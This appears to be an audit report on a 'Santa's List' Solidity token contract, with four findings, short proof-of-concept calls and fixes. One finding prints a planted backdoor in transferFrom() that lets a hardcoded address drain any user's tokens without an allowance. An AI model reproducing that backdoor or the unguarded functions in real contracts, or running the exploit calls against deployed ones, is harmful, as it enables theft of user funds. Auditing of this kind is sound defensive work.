Santa's List

1. Unauthorized checkList() modification

Severity: High

Description:
checkList() is missing the onlySanta access-control modifier, despite the function documentation stating that it should only be callable by Santa. Any address can modify a user's first-check status.

Impact:
An attacker can change a user's status to NAUGHTY, preventing them from collecting their present, or change it to EXTRA_NICE before Santa performs the second check, potentially granting unintended rewards.

Proof of Concept:
An attacker calls:

santasList.checkList(victim, SantasList.Status.NAUGHTY);

The victim's status is changed without Santa's authorization, and subsequent checkTwice() / collectPresent() behavior is affected.

Recommended Mitigation:
Add the onlySanta modifier:

function checkList(address person, Status status) external onlySanta {
s_theListCheckedOnce[person] = status;
emit CheckedOnce(person, status);
}
2. buyPresent() Burns Another User's SANTA

Severity: High

Description:
buyPresent() accepts presentReceiver and directly calls SantaToken.burn(presentReceiver). The function does not verify that the caller owns the tokens or that the token holder authorized the burn.

Impact:
An attacker can burn SANTA tokens belonging to another user without their approval. The resulting NFT is minted to the attacker.

Proof of Concept:

vm.prank(attacker);
santasList.buyPresent(victim);

The victim loses 1e18 SANTA while the attacker receives the NFT.

Recommended Mitigation:
The payment should be taken from the caller or from an explicitly authorized spender. For example, use the standard ERC20 allowance mechanism:

i_santaToken.transferFrom(msg.sender, address(this), PURCHASED_PRESENT_COST);

and ensure the caller has approved the required amount.

1. buyPresent() Charges 1 SANTA Instead of 2

Severity: Medium

Description:
SantasList defines PURCHASED_PRESENT_COST as 2e18, but SantaToken.burn() always burns only 1e18 SANTA.

Impact:
A user can purchase a present for half of the intended cost. A holder with 2 SANTA can therefore purchase two presents instead of one, reducing the intended token cost of purchased presents.

Proof of Concept:

assertEq(santasList.PURCHASED_PRESENT_COST(), 2e18);

// buyPresent() burns only 1e18
vm.prank(user);
santasList.buyPresent(user);

assertEq(santaToken.balanceOf(user), 1e18);

The test confirms that only 1 SANTA is consumed despite the configured cost being 2 SANTA.

Recommended Mitigation:
Make the burn amount match the configured purchase cost:

function burn(address from, uint256 amount) external {
if (msg.sender != i_santasList) {
revert SantaToken__NotSantasList();
}
_burn(from, amount);
}

Then call:

i_santaToken.burn(presentReceiver, PURCHASED_PRESENT_COST);
4. Hardcoded transferFrom() Allowance Bypass

Severity: Critical

Description:
The inherited transferFrom() implementation contains a hardcoded address that can transfer tokens from any account without checking or consuming ERC20 allowance.

if (msg.sender == 0x815F577F1c1bcE213c012f166744937C889DAF17) {
balanceOf[from] -= amount;
unchecked {
balanceOf[to] += amount;
}
emit Transfer(from, to, amount);
return true;
}

Impact:
The hardcoded address can transfer SANTA tokens from arbitrary users without their approval. This allows direct unauthorized loss of user funds.

Proof of Concept:
The security test confirms:

Victim balance: 1 SANTA
Allowance: 0

Hardcoded address
↓
transferFrom(victim, attacker, 1 SANTA)

Victim balance: 0
Attacker balance: 1 SANTA
Allowance: 0

Therefore, the transfer succeeds despite the absence of an allowance.

Recommended Mitigation:
Remove the hardcoded privileged address and restore standard ERC20 allowance enforcement:

uint256 allowed = allowance[from][msg.sender];

if (allowed != type(uint256).max) {
allowance[from][msg.sender] = allowed - amount;
}

transferFrom() should require a valid allowance unless the caller is the token owner through the appropriate transfer mechanism.